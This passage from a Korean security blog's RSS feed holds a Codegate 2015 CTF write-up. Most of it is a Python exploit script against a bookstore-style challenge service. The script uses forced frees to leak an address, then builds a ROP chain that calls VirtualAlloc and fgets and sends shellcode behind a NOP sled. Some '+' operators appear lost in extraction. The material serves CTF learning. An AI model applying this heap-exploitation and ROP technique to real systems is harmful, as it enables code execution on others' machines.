pre;&quot;&gt;	&lt;/span&gt;s(&quot;bookname\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;description\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;1094795581\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;1094795580\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;1\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;def makeebook():&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;1\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;2\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;bookname\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;description\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(str(int(eip1)) &quot;\n&quot;) # EIP   4&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(str(int(eip)) &quot;\n&quot;) # EIP&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(str(int(eip2)) &quot;\n&quot;) # EIP   8 &lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;def forcefree(target):&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;2\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(str(target) &quot;\n&quot;) # index&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;3\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;-1\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(str(int(0x43434343)) &quot;\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(str(int(0x42424242)) &quot;\n&quot;) &lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;4\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;0\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;0\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;3\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(str(target) &quot;\n&quot;) # index&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;def put_gadget(gadget, index):&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;2\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(str(index) &quot;\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;2\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(gadget &quot;\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;0\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;def view(target):&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;4\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(str(target) &quot;\n&quot;) # taarget&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;return r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;def payload(baseaddress):&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;virtualalloc_warp = baseaddress   0x2070 #fix&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;fgets_wrap = baseaddress   0x1460 #fix&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ppppr = baseaddress   0x9dff #fix&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;pppr = ppppr   1&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ppr = pppr   1&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;pr = ppr   1&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;r = pr   1&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;virtual_space = 0x00100000&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;result = &quot;&quot;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;result  = p(r) * 10&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;result  = p(virtualalloc_warp)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;result  = p(pppr)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;result  = p(virtual_space)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;result  = p(0x10000)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;result  = p(0x40)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;# result  = p(0x41414141)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;result  = p(fgets_wrap)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;result  = p(ppr)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;result  = p(virtual_space)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;result  = p(len(shellcode) 2000)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;result  = p(virtual_space 20)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;return result&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;################################ START&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;time.sleep(0.1)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;login()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;################################ INFO LEAAK&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;# time.sleep(10)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;total = -1&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;for i in range(0, 4):&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;makeebook()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;total  = 1&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;for i in range(0, 4):&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;forcefree(i)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;for i in range(0, 4):&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;makebook()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;total  = 1&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;data = view(2) # infoleak&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;print &quot;data = &quot; data&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;found = re.findall(&quot;Price : (.*)\n&quot;, data)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;print found&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;################################# Make Payload&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;baseaddr = int(found[0].replace(&quot;\r&quot;,&quot;&quot;))&amp;0xFFFF0000&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;gadget1 = baseaddr   0x1e97 #fix&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&quot;&quot;&quot;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;xchg    eax, esp&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;pop     ecx&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;pop     eax&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;retn&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&quot;&quot;&quot;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;memory = baseaddr   0x171c0 # global var #fix&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;eip = gadget1&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;eip1 = memory&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;eip2 = gadget1&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;put_gadget(payload(baseaddr), 6)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;################################# Exploit&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;for i in range(0, 4):&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;makebook()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;total  = 1&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;for i in range(0, 4):&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;forcefree(7 i)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;for i in range(0, 4):&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;makeebook()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;total  = 1&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;print view(7 3) # infoleak&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;s(&quot;\x90&quot;*100 &quot;\xbc\x00\x50\x10\x00&quot; &quot;\x90&quot;*500 shellcode &quot;\x90&quot;*500 &quot;\xcc&quot; &quot;\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;print hex(baseaddr)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;time.sleep(1)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;끝!&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px; text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;/p&gt;</description>
      <category>0x10 정보보안/0x13 Write-Up</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/375</guid>
      <comments>https://pgnsc.tistory.com/375#entry375comment</comments>
      <pubDate>Sat, 18 Apr 2015 15:32:56 +0900</pubDate>
    </item>
    <item>
      <title>Codegate 2015 Bookstore Write-Up [Exploit]</title>
      <link>https://pgnsc.tistory.com/374</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;div style=&quot;FLOAT: left; MARGIN-RIGHT: 125px&quot;&gt;



 &lt;/div&gt;

